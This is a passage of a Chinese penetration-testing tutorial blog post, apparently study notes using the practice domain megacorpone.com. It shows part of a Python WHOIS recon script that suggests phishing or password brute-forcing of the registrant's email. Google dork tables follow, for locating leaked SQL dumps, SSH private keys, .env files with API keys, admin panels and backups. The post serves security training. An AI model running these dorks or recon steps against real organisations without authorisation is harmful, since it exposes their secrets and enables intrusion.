&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册人姓名&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;name&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册人邮箱&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册人电话&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;phone&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;注册机构&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;地址&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;address&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;info&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;错误&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;format_date&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%Y-%m-&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;%Y-%m-&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 处理日期为 None 的情况&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;list_to_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;, &amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt; &lt;span class="c1"&gt;# 处理数据为 None 的情况&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;target_domain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;megacorpone.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_domain_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target_domain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[+] WHOIS 情报分析结果:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;-&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; ! 查询失败: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;12&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;# 修复判断逻辑：先检查是否为 &amp;#39;N/A&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;注册人邮箱&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;[+] 潜在攻击面建议:&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; - 对邮箱 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;注册人邮箱&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 进行钓鱼或密码爆破测试&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DNS服务器&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;N/A&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; - 扫描DNS服务器 &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;DNS服务器&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; 的开放端口（如53 UDP/TCP）&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250524221631385" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524221631385.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="google-信息收集"&gt;Google 信息收集
&lt;/h2&gt;&lt;p&gt;用法总集篇：https://www.exploit-db.com/google-hacking-database&lt;/p&gt;
&lt;h3 id="1-敏感文件与数据泄露"&gt;&lt;strong&gt;1. 敏感文件与数据泄露&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com filetype:sql&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索目标域名的SQL数据库文件（可能含明文密码或数据表结构）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;-----BEGIN RSA PRIVATE KEY-----&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找泄露的SSH私钥。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com filetype:env OR filetype:ini&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找 &lt;code&gt;.env&lt;/code&gt;（环境变量）或 &lt;code&gt;.ini&lt;/code&gt;（配置文件），常含API密钥、数据库密码。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com ext:sql intext:password&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索含密码字段的SQL文件。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;api_key&amp;quot; OR &amp;quot;api_secret&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找硬编码的API密钥。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img alt="image-20250524222351727" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222351727.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524222427640" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222427640.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524222550612" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222550612.png"&gt;&lt;/p&gt;
&lt;h3 id="2-后台与登录入口"&gt;&lt;strong&gt;2. 后台与登录入口&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com intitle:&amp;quot;login&amp;quot; inurl:/admin&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找管理员登录页面（如 &lt;code&gt;/admin/login.php&lt;/code&gt;）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com inurl:/wp-admin&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;定位WordPress后台（若未重命名）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com intitle:&amp;quot;index of /cgi-bin&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;发现CGI脚本目录（可能含未授权访问的脚本）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com inurl:debug&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找调试页面（如 &lt;code&gt;debug.php&lt;/code&gt;，可能暴露代码逻辑）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="3-服务器与目录信息泄露"&gt;&lt;strong&gt;3. 服务器与目录信息泄露&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;intitle:&amp;quot;index of&amp;quot; site:megacorpone.com&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;列出开放目录（可能暴露敏感文件）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;Directory listing for&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;另一种目录列表泄露的关键词。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;Apache/2.4.29 (Ubuntu) Server at&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;根据服务器Banner信息定位特定版本的主机（可关联CVE漏洞）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;X-Powered-By: PHP/7.2&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找运行指定PHP版本的服务器。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="4-备份文件与历史数据"&gt;&lt;strong&gt;4. 备份文件与历史数据&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com filetype:bak&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索备份文件（如 &lt;code&gt;web.config.bak&lt;/code&gt;、&lt;code&gt;database.sql.bak&lt;/code&gt;）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
